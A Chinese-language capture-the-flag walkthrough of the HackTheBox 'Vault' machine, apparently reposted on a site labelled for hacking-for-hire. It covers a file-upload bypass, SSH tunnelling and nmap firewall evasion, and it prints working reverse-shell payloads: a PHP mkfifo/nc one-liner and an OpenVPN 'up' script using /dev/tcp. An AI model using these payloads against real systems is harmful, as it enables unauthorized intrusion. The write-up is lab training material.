【HTB系列】靶机Vault的渗透测试详解

hacker4年前 (2020-09-08)关于黑客接单304

　　Kali: 10.10.14.213

　　靶机地址：10.10.10.109

　　先用nmap探测靶机

　　nmap -sC -sT -sV 10.10.10.109

　　扫描结果如下：

　　看看80端口有什么东西

　　我们用gobuster进行探测下

　　gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100

　　扫了很久没有扫出什么东西

　　后来注意到这句话

　　We are proud to announce our first client: Sparklays (Sparklays.com still under construction)

　　尝试在Url后面加上/sparklay

　　~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays

　　我们打开login.php

　　打开下admin.php

　　尝试过绕过以及常见帐户密码

　　奇怪的是发现提交的帐户密码竟然是用GET方式，觉得很奇怪试着拦截登陆的数据包并放到sqlmap跑跑看，发现并没有注入点

　　sqlmap -r sparklays-admin-login.req --batch

　　我们在打开design

　　是Forbidden，那么这个目录下我们在gobuster下

　　gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design

　　打开upload.php

　　打开design.html看看

　　点【Change Logo】

　　我们写一个反弹的shell进行上传

　　system('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f');

　　被拒绝上传了

　　我们来FUZZ下运行上传的后缀名看看能不能通过后缀名进行绕过

　　这里我用到这个字典:

　　https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

　　这里我用burp的intruder模块进行fuzz

　　发现php5是上传成功的，我们把shell改成shell.php5再次上传

　　然后我们kali 开启监听1337端口

　　我们在访问

　　http://10.10.10.109/sparklays/design/uploads/shell.php5

　　然后就会得到一个shell

　　发现有2个用户

　　我在dave的Desktop目录下面看到一个ssh文件

　　Cat下得到一下内容

　　dave：Dav3therav3123

　　那么我们通过ssh连接到靶机上

　　我们在看看dave桌面上的其他文件

　　之一个key还不知道是什么意思就先留着。

　　第二个Servers应该是对应服务器的IP以及该服务器是什么

　　我们现在对DNS服务器进行扫描看看，但是靶机上面没有nmap 但是我们可以用nc当作端口扫描器

　　我们可以看到192.168.122.4开放了22和80端口。由于是内网的环境我们是无法访问到192.168.122.4的，所以我们需要做一个隧道把192.168.122.4的80端口映射到我们本地的1234端口

　　ssh -L 1234:192.168.122.4:80

　　点击【Click here to modify your DNS Settings】

　　发现是Not Found

　　点击【Click here to test your VPN Configuration】

　　打开后是一个VPN配置信息，并允许我们测试我们的VPN

　　这里我找一遍关于如何用ovpn配置文件反弹shell的教程

　　https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

　　我们找下靶机的内网IP地址

　　让靶机监听9002端口

　　remote 192.168.122.1

　　nobind

　　dev tun script-security 2

　　up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"

　　先点【Update file】然后再点【Test VPN】

　　就会得到一个shell

　　得到userflag

　　接下来是获取root flag

　　我们在dave的目录里面找到一个ssh凭借

　　dave：dav3gerous567

　　我们直接通过ssh连接DNS服务器

　　我们尝试sudo -i切换为root，

　　但是目录里面没有我们想要的rootflag

　　之前我们注意到在dave的机器上有三台服务器，但是最后的The vault 是没有给出IP地址的，root flag可能就在那台机器上，所以我们需要去找线索

　　我们在DNS的hosts文件中找到了The vault的IP地址

　　但是DNS服务器是无法ping通的

　　但是DNS确实存在192.168.5.2的路由，猜测应该是禁止ping

　　后来发现DNS存在nmap 我们用nmap来进行端口探测

　　-Pn：表示默认主机在线，跳过主机发现

　　-v：显示详细信息

　　-n：不进行DNS解析

　　发现2个端口都被closed，可能是真的关闭，但是也有可能是防火墙的原因

　　我们尝试使用nmap 的 –source-port参数

　　每个TCP数据包带有源端口号。默认情况下Nmap会随机选择一个可用的传出源端口来探测目标。该–source-port选项将强制Nmap使用指定的端口作为源端口。这种技术是利用了防火墙盲目地接受基于特定端口号的传入流量的弱点。端口21（FTP），端口53（DNS）和67（DHCP）是这种扫描类型的常见端口。